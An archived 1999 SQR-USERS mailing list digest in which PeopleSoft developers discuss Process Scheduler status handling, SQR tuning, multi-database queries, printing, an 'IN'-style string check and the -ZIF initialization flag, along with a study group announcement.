You asked for it! = Here is the list of classes that you're all interested in having online. Please = choose only ONE class. We'll go with a combination of the highest percentage = vote AND that we have a teacher available for <g>. (We don't yet have a = volunteer for Workflow or Upgrades) The vote will go for at least a week and maybe = two. Then we'll post a kickoff message for the class with instructions how to participate.

 

Please select one = of the following:

 

o Into to = PeopleSoft - Complete, includes PeopleTools

o Intro to = Reporting Tools

o Intro to SQR = Development

o Managing data conversions

o Intro to = Workflow

o How to handle = upgrades

 

by going to the = following Web form:

 

http://www.egroups.com/vote?id=3D937230593499

 

Thank = you!

 

 

It looks like = we're going to start SQR in the next week or two and then follow on with other = reporting tools. If you're interested, please come over to our eGroup. If you = aren't yet a subscriber, send a blank email to

 

peoplesoft-fans-subscribe@egroups.com

 

or go to the web = site,

 

http://www.egroups.com

 

to add it. It = will show up in your "My Space" page.

 

Bryan = deSilva

Chief Evangelist of Really Neat = Stuff

Improvisations.net – = “innovation by = design”

970/352-4711 = voice

970/392-1499 = fax

 

To join one of our helpful mailing lists click on the appropriate link below and send a blank email by choosing a link = below.

Click = here to join the PeopleSoft-Fans mailing list.

Click here to join the Arev-fans mailing list

 

------=_NextPart_001_0017_01BF1109.C188A940-- ------=_NextPart_000_0016_01BF1109.C17F8180 Content-Type: image/gif; name="image001.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhQAYFAPQLAKfT/6/X/7fb/7/f/8fj/8/n/9fr/97u/+f0/+73//f8//////H3/+Lv/97w /9Dn/8Df/7DX/5/P/wECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAyH/C01T T0ZGSUNFOS4wDQAAAAFzUkdCAK7OHOkAIf8LTVNPRkZJQ0U5LjAYAAAADG1zT1BNU09GRklDRTku MBObKZRkACH/C01TT0ZGSUNFOS4wGAAAAAxjbVBQSkNtcDA3MTICAAAJAtxSKQAsAAAAAEAGBQAA Bf+gJI6kBJhAqqYBELwwHAmBYN/2IAx8z0OEAWFIJBSMhWThYWg2D9BDA4FIKK6LrHbL7Xq/4LB4 TC6bz+i0es1uu9/wuHxOr9vv+Lx+z+/7/4CBgoOEhYaHiImKi4yNciWQJiIrlCwuMS80NTM4Nz4+ QQRARUdKSgZMTgcOVFUJVgqOsrO0tba3uLm6u7y9vr/AwcLDxMXGwJGQJ8uVL5cxEZk1nTk7Oz0Q PUWkSEkGBaoGUVSvsMfn6Onq6+zt7u/w8fLz9PX2vMkkJyiULSwt0GoIpKbjmo9sQ4Rw67bEmxNx UlwlYMAAy72LGDNq3Mixo8ePIEOKHOkx36RJzPoquXj2YsYmap50HAyicJuRbqkeRjlA7ooCBiSD Ch1KtKjRo0iTKl3KlE4IADs= ------=_NextPart_000_0016_01BF1109.C17F8180-- From owner-sqr-users@list.iex.net Fri Oct 8 08:42:20 1999 Date: Fri, 8 Oct 1999 09:34:26 EDT From: Victor Loghin Subject: Re: Process Monitor Status Madav, Your program never tells the Process Scheduler that it has finished. Do you have do stdapi-term as the last statement of your program? - The very first statement should be do stdapi-init and the very last should be do stdapi-term. If so, are you sure it is executing? - A display statement before and one after the statement will let you know if it is executing. HTH, Victor Loghin VGL Consulting Inc. ----Original Message Follows---- From: "Madav ." Subject: Process Monitor Status Date: Fri, 8 Oct 1999 00:35:23 GMT Iam running SQR through Process schedular.It is giving expected results.But process monitor status is not changing from 'Processing' to 'success', even after the completion of running. Can any body helps me to solve this problem. Your help is appreciated. Thanks, Madav ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Fri Oct 8 08:56:08 1999 Date: Fri, 8 Oct 1999 13:50:29 GMT From: "Madav ." Subject: Re: Process Monitor Status I called procedures stdapi-term, Update-Process-Status at the end of the report.still the process monitor is showing 'processing'.Is there any other mistake. Please help me. Thanks, Madav > >At 12:35 AM 10/08/1999 +0000, you wrote: > >Iam running SQR through Process schedular.It is giving expected >results.But > >process monitor status is not changing from 'Processing' to 'success', >even > >after the completion of running. > >Can any body helps me to solve this problem. > >Your help is appreciated. > > > >Thanks, > >Madav > > > >______________________________________________________ > >Get Your Private, Free Email at http://www.hotmail.com > > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Fri Oct 8 12:35:08 1999 Date: Fri, 8 Oct 1999 13:26:11 EDT From: Victor Loghin Subject: Re: Process Monitor Status Madav, You should not call Update-Process-Status, let stdapi-term do that. Add the -debugx flag to your process definition. This will trace the calls to the stdapi procedures. Make sure you see "Entering PRCSAPI.SQC: Update-Process-Status" in your log. If you do, add displays to prcsapi.sqc to see what the update statement is doing. Basically what happens in a Process Scheduler enabled program the following: do stdapi-init 1) sets #prcs_run_status to processing 2) updates RUNSTATUS column of the PSPRCSRQST table with the value of #prcs_run_status 3) sets #prcs_run_status to successful program logic do stdapi-term 1) if #return-status = {GOOD-OS-STATUS} (defined in setenv) then updates RUNSTATUS column of the PSPRCSRQST table with the value of #prcs_run_status. - otherwise the value is not updated and left as processing. HTH, Victor Loghin VGL Consulting Inc. ----Original Message Follows---- From: "Madav ." Subject: Re: Process Monitor Status Date: Fri, 8 Oct 1999 13:50:29 GMT I called procedures stdapi-term, Update-Process-Status at the end of the report.still the process monitor is showing 'processing'.Is there any other mistake. Please help me. Thanks, Madav > >At 12:35 AM 10/08/1999 +0000, you wrote: > >Iam running SQR through Process schedular.It is giving expected >results.But > >process monitor status is not changing from 'Processing' to 'success', >even > >after the completion of running. > >Can any body helps me to solve this problem. > >Your help is appreciated. > > > >Thanks, > >Madav > > > >______________________________________________________ > >Get Your Private, Free Email at http://www.hotmail.com > > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Fri Oct 8 12:38:25 1999 Date: Fri, 8 Oct 1999 13:31:10 -0400 From: John Milardovic Subject: Performance Tuning Hi everyone. The list seems fairly slow right now and I thought it might be a good time to elicit some opinions/preferences for tuning SQR reports and/or general rules to follow when designing the reports. I did a search on the archive and found some tips/general rules but they were basically rehashing the same concepts found in the User manual I guess I'm more interested in solutions/tips that people have come up with themselves through trial and error. I recall someone mentioning that they designed all their sql in a third party app and then after it was tuned they would paste it into SQR. Is this a fairly common method? Does everyone (Oracle users) run explain plan and tkprof on their sql statements? When is it better to place select statements in a stored procedure? What are people's preferences regarding nested selects vs. joins (I received some feedback on this a month or so ago but would like to hear other opinions)? What switches do people ALWAYS tend to use? etc. etc. Also is there any progress on the idea of developing an SQRUG FAQ (Ray had mentioned something about FAQ-A-Matic (sic?)? Thanks John Milardovic From owner-sqr-users@list.iex.net Fri Oct 8 14:05:34 1999 Date: Fri, 8 Oct 1999 13:43:53 -0500 From: Kathy Mason Subject: Miscellaneous SQR related questions Hello, I have a couple of miscellaneous type SQR questions: 1. We recently upgraded from SQR3 to SQR4 - now when I run an SQR through SQRW and have it still open - I cannot open Excel, Netscape, Remote Application manager and several other applications - I did not experience this problem with version 3. It appears that SQR puts some kind of lock on something. Has anyone else experienced this? Is there anything that can be done to prevent it. While waiting for an SQR to run, I usually try to do other work. 2. General question regarding documentation. When an existing SQR is totally re-written due to new requirements such as a new third party vendor - do you retain all of the old documentation and comment out the obsolete code and do you treat it more like a new report and delete all the old stuff? Just wondering what everyone else does as we try to develop some standards. Kathy Mason From owner-sqr-users@list.iex.net Fri Oct 8 14:34:28 1999 Date: Fri, 8 Oct 1999 15:22:36 -0400 From: Kenneth Lawrence Gartman Subject: Re: Beginning SQR study group --------------0BFC355D82EE3E61505CA931 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, bryan:
    Your email generated a Javascript error.
 

Bryan deSilva wrote:

Hello all. I hope this appropriate to post to our list. I moderate an eGroup mailing list called PeopleSoft-Fans, which is going to host a study group on beginning SQR. In case any of you might be interested I’m posting the intro message from the group here. We won’t begin for another week or so, so it’s certainly not too late to join PeopleSoft-Fans and participate in the study group. What follows is the kick off message when we decided to host a study group.
Hello all.

You asked for it! Here is the list of classes that you're all interested in having online. Please choose only ONE class. We'll go with a combination of the highest percentage vote AND that we have a teacher available for <g>. (We don't yet have a volunteer for Workflow or Upgrades) The vote will go for at least a week and maybe two. Then we'll post a kickoff message for the class with instructions how to participate.

Please select one of the following:

o Into to PeopleSoft - Complete, includes PeopleTools

o Intro to Reporting Tools

o Intro to SQR Development

o Managing data conversions

o Intro to Workflow

o How to handle upgrades

by going to the following Web form:

http://www.egroups.com/vote?id=937230593499

Thank you!

It looks like we're going to start SQR in the next week or two and then follow on with other reporting tools. If you're interested, please come over to our eGroup. If you aren't yet a subscriber, send a blank email to 

peoplesoft-fans-subscribe@egroups.com

or go to the web site, 

http://www.egroups.com

to add it. It will show up in your "My Space" page.

Bryan deSilva

Chief Evangelist of Really Neat Stuff

Improvisations.net – “innovation by design”

970/352-4711 voice

970/392-1499 fax

To join one of our helpful mailing lists click on the appropriate link below and send a blank email by choosing a link below.

Click here to join the PeopleSoft-Fans mailing list.

Click here to join the Arev-fans mailing list

--------------0BFC355D82EE3E61505CA931 Content-Type: image/gif Content-ID: Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="image001.gif" R0lGODlhQAYFAPQLAKfT/6/X/7fb/7/f/8fj/8/n/9fr/97u/+f0/+73//f8//////H3/+Lv /97w/9Dn/8Df/7DX/5/P/wECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwEC AyH/C01TT0ZGSUNFOS4wDQAAAAFzUkdCAK7OHOkAIf8LTVNPRkZJQ0U5LjAYAAAADG1zT1BN U09GRklDRTkuMBObKZRkACH/C01TT0ZGSUNFOS4wGAAAAAxjbVBQSkNtcDA3MTICAAAJAtxS KQAsAAAAAEAGBQAABf+gJI6kBJhAqqYBELwwHAmBYN/2IAx8z0OEAWFIJBSMhWThYWg2D9BD A4FIKK6LrHbL7Xq/4LB4TC6bz+i0es1uu9/wuHxOr9vv+Lx+z+/7/4CBgoOEhYaHiImKi4yN ciWQJiIrlCwuMS80NTM4Nz4+QQRARUdKSgZMTgcOVFUJVgqOsrO0tba3uLm6u7y9vr/AwcLD xMXGwJGQJ8uVL5cxEZk1nTk7Oz0QPUWkSEkGBaoGUVSvsMfn6Onq6+zt7u/w8fLz9PX2vMkk JyiULSwt0GoIpKbjmo9sQ4Rw67bEmxNxUlwlYMAAy72LGDNq3Mixo8ePIEOKHOkx36RJzPoq uXj2YsYmap50HAyicJuRbqkeRjlA7ooCBiSDCh1KtKjRo0iTKl3KlE4IADs= --------------0BFC355D82EE3E61505CA931-- From owner-sqr-users@list.iex.net Fri Oct 8 14:44:18 1999 Date: Fri, 8 Oct 1999 14:36:59 -0500 From: "Luevina.Huskey" Subject: Re: Miscellaneous SQR related questions Per question #2. We rewrite the sqr under the same name to keep the relation to the original, but place in in a separate custom directory on the LAN or separate custom library on the mainframe. This way the original remains in tact for ease in upgrades. -----Original Message----- From: Kathy Mason [mailto:kmason@GIX-GLOBAL.COM] Sent: Friday, October 08, 1999 1:44 PM To: Multiple recipients of list SQR-USERS Subject: Miscellaneous SQR related questions Hello, I have a couple of miscellaneous type SQR questions: 1. We recently upgraded from SQR3 to SQR4 - now when I run an SQR through SQRW and have it still open - I cannot open Excel, Netscape, Remote Application manager and several other applications - I did not experience this problem with version 3. It appears that SQR puts some kind of lock on something. Has anyone else experienced this? Is there anything that can be done to prevent it. While waiting for an SQR to run, I usually try to do other work. 2. General question regarding documentation. When an existing SQR is totally re-written due to new requirements such as a new third party vendor - do you retain all of the old documentation and comment out the obsolete code and do you treat it more like a new report and delete all the old stuff? Just wondering what everyone else does as we try to develop some standards. Kathy Mason From owner-sqr-users@list.iex.net Fri Oct 8 14:58:51 1999 Date: Fri, 8 Oct 1999 13:47:39 -0600 From: Bryan deSilva Subject: Re: Beginning SQR study group This is a multi-part message in MIME format. ------=_NextPart_000_0032_01BF1193.B0FE8C40 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0033_01BF1193.B0FE8C40" ------=_NextPart_001_0033_01BF1193.B0FE8C40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Kenneth: Do you mean a link in this email that you copied back to me? Or somehow the entire thing? To join Peoplesoft-fans you need to send a blank email to peoplesoft-fans-subscribe@egroups.com Bryan deSilva Chief Evangelist of Really Neat Stuff Improvisations.net – “innovation by design” 970/352-4711 voice 970/392-1499 fax To join one of our helpful mailing lists click on the appropriate link below and send a blank email by choosing a link below. Click here to join the PeopleSoft-Fans mailing list. Click here to join the Arev-fans mailing list -----Original Message----- From: owner-sqr-users@list.iex.net [mailto:owner-sqr-users@list.iex.net]On Behalf Of Kenneth Lawrence Gartman Sent: Friday, October 08, 1999 1:23 PM To: Multiple recipients of list SQR-USERS Subject: Re: Beginning SQR study group Hi, bryan: Your email generated a Javascript error. Bryan deSilva wrote: Hello all. I hope this appropriate to post to our list. I moderate an eGroup mailing list called PeopleSoft-Fans, which is going to host a study group on beginning SQR. In case any of you might be interested I'm posting the intro message from the group here. We won't begin for another week or so, so it's certainly not too late to join PeopleSoft-Fans and participate in the study group. What follows is the kick off message when we decided to host a study group. Hello all. You asked for it! Here is the list of classes that you're all interested in having online. Please choose only ONE class. We'll go with a combination of the highest percentage vote AND that we have a teacher available for . (We don't yet have a volunteer for Workflow or Upgrades) The vote will go for at least a week and maybe two. Then we'll post a kickoff message for the class with instructions how to participate. Please select one of the following: o Into to PeopleSoft - Complete, includes PeopleTools o Intro to Reporting Tools o Intro to SQR Development o Managing data conversions o Intro to Workflow o How to handle upgrades by going to the following Web form: http://www.egroups.com/vote?id=937230593499 Thank you! It looks like we're going to start SQR in the next week or two and then follow on with other reporting tools. If you're interested, please come over to our eGroup. If you aren't yet a subscriber, send a blank email to peoplesoft-fans-subscribe@egroups.com or go to the web site, http://www.egroups.com to add it. It will show up in your "My Space" page. Bryan deSilva Chief Evangelist of Really Neat Stuff Improvisations.net - "innovation by design" 970/352-4711 voice 970/392-1499 fax To join one of our helpful mailing lists click on the appropriate link below and send a blank email by choosing a link below. Click here to join the PeopleSoft-Fans mailing list. Click here to join the Arev-fans mailing list ------=_NextPart_001_0033_01BF1193.B0FE8C40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Ke= nneth:

Do= you mean a link in this email that you copied back to me? Or somehow the = entire thing? To join Peoplesoft-fans you need to send a blank email to peoplesoft-fans-sub= scribe@egroups.com

Bryan = deSilva

Chief Evangelist of Really Neat = Stuff

Improvisations.net – = “innovation by = design”

970/352-4711 = voice

970/392-1499 = fax

 

To join one of our helpful mailing lists click on the appropriate link below and send a blank email by choosing a link = below.

Click = here to join the PeopleSoft-Fans mailing list.

Click here to join the Arev-fans mailing list

<= span class=3DEmailStyle21> 

-----Original Message-----
From: = owner-sqr-users@list.iex.net [mailto:owner-sqr-users@list.iex.net]On Behalf Of Kenneth Lawrence Gartman
Sent: Friday, October 08, = 1999 1:23 PM
To: Multiple recipients = of list SQR-USERS
Subject: Re: Beginning = SQR study group

 

Hi, bryan:
    Your email generated a Javascript error.
 

Bryan deSilva wrote: = <= /p>

Hello all. I hope this appropriate to post to our list. I moderate an eGroup mailing = list called PeopleSoft-Fans, which is going to host a study group on = beginning SQR. In case any of you might be interested I'm posting the intro message = from the group here. We won't begin for another week or so, so it's certainly not = too late to join PeopleSoft-Fans and participate in the study group. What = follows is the kick off message when we decided to host a study = group.

Hello = all.

You = asked for it! Here is the list of classes that you're all interested in having = online. Please choose only ONE class. We'll go with a combination of the highest percentage vote AND that we have a teacher available for <g>. (We = don't yet have a volunteer for Workflow or Upgrades) The vote will go for at = least a week and maybe two. Then we'll post a kickoff message for the class with instructions how to participate. =

Please select one of the following:

o = Into to PeopleSoft - Complete, includes PeopleTools =

o Intro to = Reporting Tools

o Intro to SQR = Development

o Managing data = conversions

o Intro to = Workflow

o How to handle = upgrades

by = going to the following Web form:

http://www.egroups= .com/vote?id=3D937230593499

Thank = you!

It looks like we're going to start SQR in the next week or two and then = follow on with other reporting tools. If you're interested, please come over to = our eGroup. If you aren't yet a subscriber, send a blank email = to 

peoplesoft-fans-subscribe@egroups.com

or = go to the web site, 

http://www.egroups.com

to = add it. It will show up in your "My Space" = page.

Bryan = deSilva <= /p>

Chief Evangelist of Really Neat = Stuff <= /p>

Improvisations.net = - "innovation by design"

970/352-4711 = voice <= /p>

970/392-1499 = fax <= /p>

To join one of our helpful mailing lists click on the appropriate link = below and send a blank email by choosing a link = below. <= /p>

Click = here to join the PeopleSoft-Fans mailing list. <= /p>

Click here to join the Arev-fans mailing list<= /p>

 

------=_NextPart_001_0033_01BF1193.B0FE8C40-- ------=_NextPart_000_0032_01BF1193.B0FE8C40 Content-Type: image/gif; name="image001.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhQAYFAPQLAKfT/6/X/7fb/7/f/8fj/8/n/9fr/97u/+f0/+73//f8//////H3/+Lv/97w /9Dn/8Df/7DX/5/P/wECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAwECAyH/C01T T0ZGSUNFOS4wDQAAAAFzUkdCAK7OHOkAIf8LTVNPRkZJQ0U5LjAYAAAADG1zT1BNU09GRklDRTku MBObKZRkACH/C01TT0ZGSUNFOS4wGAAAAAxjbVBQSkNtcDA3MTICAAAJAtxSKQAsAAAAAEAGBQAA Bf+gJI6kBJhAqqYBELwwHAmBYN/2IAx8z0OEAWFIJBSMhWThYWg2D9BDA4FIKK6LrHbL7Xq/4LB4 TC6bz+i0es1uu9/wuHxOr9vv+Lx+z+/7/4CBgoOEhYaHiImKi4yNciWQJiIrlCwuMS80NTM4Nz4+ QQRARUdKSgZMTgcOVFUJVgqOsrO0tba3uLm6u7y9vr/AwcLDxMXGwJGQJ8uVL5cxEZk1nTk7Oz0Q PUWkSEkGBaoGUVSvsMfn6Onq6+zt7u/w8fLz9PX2vMkkJyiULSwt0GoIpKbjmo9sQ4Rw67bEmxNx UlwlYMAAy72LGDNq3Mixo8ePIEOKHOkx36RJzPoquXj2YsYmap50HAyicJuRbqkeRjlA7ooCBiSD Ch1KtKjRo0iTKl3KlE4IADs= ------=_NextPart_000_0032_01BF1193.B0FE8C40-- From owner-sqr-users@list.iex.net Fri Oct 8 15:46:51 1999 Date: Fri, 8 Oct 1999 13:35:02 -0700 From: Albert Howard Subject: Re: Beginning SQR study group Your topic is appropriate but I suggest not using gratuitous text enhancements and page formatting when posting to the list.  Most of us can read it, but there are some recipients using Pine from Unix to read their email and it fouls them up big time.  Some formatting is ok to highlight certain bits of code, but keep it limited ok?

(Response to Bryan DeSilva's message..snipped reply to avoid further formatted text on the list)

From owner-sqr-users@list.iex.net Fri Oct 8 18:46:16 1999 Date: Fri, 8 Oct 1999 16:27:57 -0500 From: DaveL Smith Subject: Re: Accessing multiple databases Mark, Here is a snippet: !***************************************************************************** ! Procedure "select-data" selects the purchase requisition data * ! from Maximo tables (SQL Server 6.5) * !***************************************************************************** begin-procedure select-data begin-select -DB=MAXTEST;DSN=MAXTEST;UID=MAXIMO;PWD=MAXIMO A.ITEMNUM, !Item id B.PR1 !Routing id. let $PR1=nvl(&B.PR1,'E') let $ITEMNUM=&A.ITEMNUM DO PS_EL_MX_AL_PR_STG FROM PRLINE A, PR B WHERE A.PRNUM = B.PRNUM AND A.RLIN1 IS NULL AND B.STATUS = 'APPR' end-SELECT end-procedure select-data !***************************************************************************** ! The "PS_MX_PR_STG" procedure inserts the Maximo purchase * ! requisition data into the PS_MX_PR_STG staging table. (SQL Server 7.0) * !***************************************************************************** begin-procedure PS_MX_PR_STG begin-sql -DB=PSFTTEST;DSN=PSFTTEST;UID=PSFTADMIN;PWD=PSFTADMIN INSERT INTO PS_MX_PR_STG (SYSTEM_SOURCE, LOADER_BU, REQUESTOR_ID, BUSINESS_UNIT, BU_PRIORITY, SHIPTO_ID, ORIGIN, REQ_STATUS, CHARTFIELD_STATUS) VALUES ('FRM', $STORELOC, $LA2, $STORELOC, 0, ' ', ' ', ' ',' ') end-sql end-procedure PS_MX_PR_STG This seems to work well with small amounts of data, we run it with SQL Server agent every 30 minutes. David L. Smith IBM Global Services From owner-sqr-users@list.iex.net Fri Oct 8 19:18:02 1999 Date: Fri, 8 Oct 1999 20:06:43 EDT From: Victoria Lo Subject: Re: Declare-Report/Declare-Printer Thank you Kris! Correct me if I'm wrong. When reading the resoluation from PS Customer Connection. It was saying if change the flag in Process Scheduler to "-printer::wp", it should work! Did you try that and did it work for you? Somehow it does not work for me. Maybe I did something wrong. Of course user does not want to copy the report to printer, they want to print directly from the Process Scheduler command. Vicki From owner-sqr-users@list.iex.net Sat Oct 9 00:52:57 1999 Date: Fri, 8 Oct 1999 22:48:16 -0700 From: Kris Narravula Subject: Re: Declare-Report/Declare-Printer It didn't work for us either and we had to postpone our plans to use the "Last-Page" number till we upgrade to PS Ver 8.0. To my knowledge, when you use the Declare-Report in your SQR Report and run it to printer from the PeopleSoft, PS is trying to create an .spf file treating the "lpt1"/ "lpt2" or the printer alias name as the destination directory which we can't. Based on the .spf file it creates the .lis file. We could not find a work around other than running the report to a file and copying it to printer directory from the DOS prompt. If you are not comfortable with printing the .lis from the DSO command, you might think of writing a small SQR program do the same and which we can invoke from PeopleSoft or in some other way. All the best Kris ----- Original Message ----- From: Victoria Lo To: Multiple recipients of list SQR-USERS Sent: Friday, October 08, 1999 5:06 PM Subject: Re: Declare-Report/Declare-Printer > Thank you Kris! > Correct me if I'm wrong. When reading the resoluation from PS Customer > Connection. It was saying if change the flag in Process Scheduler to > "-printer::wp", it should work! Did you try that and did it work for you? > Somehow it does not work for me. Maybe I did something wrong. > Of course user does not want to copy the report to printer, they want > to print directly from the Process Scheduler command. > > Vicki > From owner-sqr-users@list.iex.net Sat Oct 9 11:32:56 1999 Date: Sat, 9 Oct 1999 10:25:30 -0600 From: Bryan deSilva Subject: Re: Beginning SQR study group This is a multi-part message in MIME format. ------=_NextPart_000_002D_01BF1240.9D41B800 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Noted. Thanks. ------=_NextPart_000_002D_01BF1240.9D41B800 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

No= ted. Thanks.

 <= /p>

------=_NextPart_000_002D_01BF1240.9D41B800-- From owner-sqr-users@list.iex.net Sun Oct 10 20:01:22 1999 Date: Sun, 10 Oct 1999 20:47:13 -0400 From: Amanda Parris Subject: Re: Beginning SQR study group unsubscribe At 09:20 PM 10/7/99 -0600, you wrote: > Hello all. I hope this appropriate to post to our list. I >moderate an eGroup mailing list called PeopleSoft-Fans, which is going to >host a study group on beginning SQR. In case any of you might be interested >I’m posting the intro message from the group here. We won’t >begin for another week or so, so it’s certainly not too late to join >PeopleSoft-Fans and participate in the study group. What follows is the >kick off message when we decided to host a study group. Hello all. ><>. (We don't yet have a volunteer for Workflow or Upgrades) The vote will >go for at least a week and maybe two. Then we'll post a kickoff message for >the class with instructions how to participate. Please select one of >the following: o Into to PeopleSoft - Complete, includes PeopleTools o >Intro to Reporting Tools o Intro to SQR Development o Managing data >conversions o Intro to Workflow o How to handle upgrades by going to >the following Web form: http://www.egroups.com/vote?id=937230593499 >Thank you! It looks like we're going to start SQR in the next >week or two and then follow on with other reporting tools. If you're >interested, please come over to our eGroup. If you aren't yet a subscriber, >send a blank email to peoplesoft-fans-subscribe@egroups.com or go >to the web site, http://www.egroups.com "" page. Bryan deSilva > Chief Evangelist of Really Neat Stuff Improvisations.net – >“innovation by design” 970/352-4711 voice 970/392-1499 fax > To join one of our helpful mailing lists click on the appropriate link >below and send a blank email by choosing a link below. Click here to join >the PeopleSoft-Fans mailing list. Click here to join the Arev-fans mailing >list Attachment Converted: "C:\PIPEPLUS\DOWNLOAD\image0011.gif" From owner-sqr-users@list.iex.net Sun Oct 10 21:41:25 1999 Date: Sun, 10 Oct 1999 19:34:31 -0700 From: David Donnelly Subject: Re: Seeking an SQR 'In' function How about: evaluate $Ernch when = 'REG' when = 'OVT' etc end-evaluate I don't know if this is any easier to write than if $Erncd = 'REG' or $Erncd = 'OVT' or etc nor do I think it's noticably faster, but it IS a little easier to read and add to if you need to in the future... If the actual codes you're looking at are completely exclusive, you could do if substr('REGOVTTRF....',$Erncd,1) > 0 but if one of the codes, say, is GOV then you would be in trouble... a way around this would be let $temp = $Erncd || ' ' if substr('REG OVT TRF ....',$temp,1) > 0 How much work do you want to do to make it easy? Dave At 10:27 AM 10/8/1999 +0800, you wrote: >SQR 3 > >As you know in SQL you can have a condition such as: > > WHERE ERNCD IN ('REG','OVT','TRV',...) > >The other day I was modifying an SQR that had a variable $Erncd that I >needed to test for over 20 distinct values. I was unable to find in the >manual an SQR equivalent of the above functionality and ended up coding it >as: > > if $Erncd = 'REG' or $Erncd = 'OVT' or $Erncd = 'TRV' or ... > >What a pain!! Is there a simpler way in SQR? > >Thanks > >Wayne Ivory >Information Services >Iluka Resources Limited > Dave Donnelly or ISIS BioComp phone (909) 677-2446 fax (909) 677-3991 From owner-sqr-users@list.iex.net Sun Oct 10 23:32:06 1999 Date: Sun, 10 Oct 1999 21:26:14 -0700 From: Jim Wyant Subject: Re: Seeking an SQR 'In' function Try, let #x = instr($Erncd,'REG,OVT,TRV,...',1) if #x > 0 .... Jim --- "Ivory, Wayne" wrote: > SQR 3 > > As you know in SQL you can have a condition such as: > > WHERE ERNCD IN ('REG','OVT','TRV',...) > > The other day I was modifying an SQR that had a > variable $Erncd that I > needed to test for over 20 distinct values. I was > unable to find in the > manual an SQR equivalent of the above functionality > and ended up coding it > as: > > if $Erncd = 'REG' or $Erncd = 'OVT' or > $Erncd = 'TRV' or ... > > What a pain!! Is there a simpler way in SQR? > > Thanks > > Wayne Ivory > Information Services > Iluka Resources Limited > ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com From owner-sqr-users@list.iex.net Mon Oct 11 01:58:51 1999 Date: Mon, 11 Oct 1999 08:52:37 +0200 From: Jason Wainwright Subject: Re: Seeking an SQR 'In' function " From: Ivory, Wayne [mailto:wayne.ivory@ILUKA.COM] As you know in SQL you can have a condition such as: WHERE ERNCD IN ('REG','OVT','TRV',...) The other day I was modifying an SQR that had a variable $Erncd that I needed to test for over 20 distinct values." Hi Wayne I use Sybase and can get the above functionality. But if U can't, U could try a loop that dynamically changes the where clause (i.e. [$where_str] ), or U could try a begin-sql and use a programmatic sql statement, or use a stored proc. From owner-sqr-users@list.iex.net Mon Oct 11 10:20:52 1999 Date: Mon, 11 Oct 1999 11:13:18 EDT From: William Hart Subject: -ZIF Flag in SQR 4.3.4 Hello and Thanks in Advance We have just upgraded from SQR 3.0.18 to 4.3.4. We are now getting Date format errors. When I add the -ZIF flag to read the Network PSSQR.INI, the SQR's run fine. Can you tell me if the -ZIF flag is now required in 4.3.4? Does needing this alternative SQR.INI file indicate an apparent issue/error? Thanks! Bill Hart College of the Holy Cross From owner-sqr-users@list.iex.net Mon Oct 11 10:30:39 1999 Date: Mon, 11 Oct 1999 08:24:11 -0700 From: Joe Johnson Subject: Re: -ZIF Flag in SQR 4.3.4 On Mon, 11 October 1999, William Hart wrote: > We have just upgraded from SQR 3.0.18 to 4.3.4. We are now getting Date > format errors. When I add the -ZIF flag to read the Network PSSQR.INI, the > SQR's run fine. > > Can you tell me if the -ZIF flag is now required in 4.3.4? Yes -- this takes the place of the setupxxx.sqc calls which set Oracle system date to DD-MON-YYYY Now the -ZIF flag does this. > Does needing this alternative SQR.INI file indicate an apparent issue/error? No, just a PAIN to us poor fools ;) HTH Joe Johnson ;{) __________________________________________ $14.95 a month Unlimited Internet Access. Get your first month for $1.00. http://www.surfree.com/promo From owner-sqr-users@list.iex.net Mon Oct 11 10:41:51 1999 Date: Mon, 11 Oct 1999 09:34:38 -0600 From: Arturo Vega Subject: Re: -ZIF Flag in SQR 4.3.4 Hello to all SQR.INI file is the initialization file for SQR. Here you set a lot of settings and parameters used by SQR during the compile and execution. This file was introduced in SQR version 4.x and it's important to include this file in your SQR flags. If you don't put the -ZIF flag SQR looks for SQR.INI in the executables directory and then in Windows system directory in WINDOWS platform or current working directory or SQRDIR environment variable in OTHER PLATFORMS PeopleSoft provides a PSSQR.INI file that you can use in your -ZIF flag Arturo Vega Peopesoft Consultant MEXICO Hello and Thanks in Advance We have just upgraded from SQR 3.0.18 to 4.3.4. We are now getting Date format errors. When I add the -ZIF flag to read the Network PSSQR.INI, the SQR's run fine. Can you tell me if the -ZIF flag is now required in 4.3.4? Does needing this alternative SQR.INI file indicate an apparent issue/error? Thanks! Bill Hart College of the Holy Cross From owner-sqr-users@list.iex.net Mon Oct 11 10:43:42 1999 Date: Mon, 11 Oct 1999 10:37:17 -0500 From: Don Mellen Subject: Re: Seeking an SQR 'In' function On Sun, 10 Oct 1999, Jim Wyant wrote: > Try, > > let #x = instr($Erncd,'REG,OVT,TRV,...',1) > if #x > 0 .... > > Jim This would work (although you need to switch the first 2 parameters). If you have a variable storing the qouted, comma seperated values, you could just say... If instr($Full_Comma_seperated_list, '''' || $Erncd || '''', 1) > 0 HTH, > --- "Ivory, Wayne" wrote: > > SQR 3 > > > > As you know in SQL you can have a condition such as: > > > > WHERE ERNCD IN ('REG','OVT','TRV',...) > > > > The other day I was modifying an SQR that had a > > variable $Erncd that I > > needed to test for over 20 distinct values. I was > > unable to find in the > > manual an SQR equivalent of the above functionality > > and ended up coding it > > as: > > > > if $Erncd = 'REG' or $Erncd = 'OVT' or > > $Erncd = 'TRV' or ... > > > > What a pain!! Is there a simpler way in SQR? > > > > Thanks > > > > Wayne Ivory > > Information Services > > Iluka Resources Limited > > > > > ===== > > __________________________________________________ > Do You Yahoo!? > Bid and sell for free at 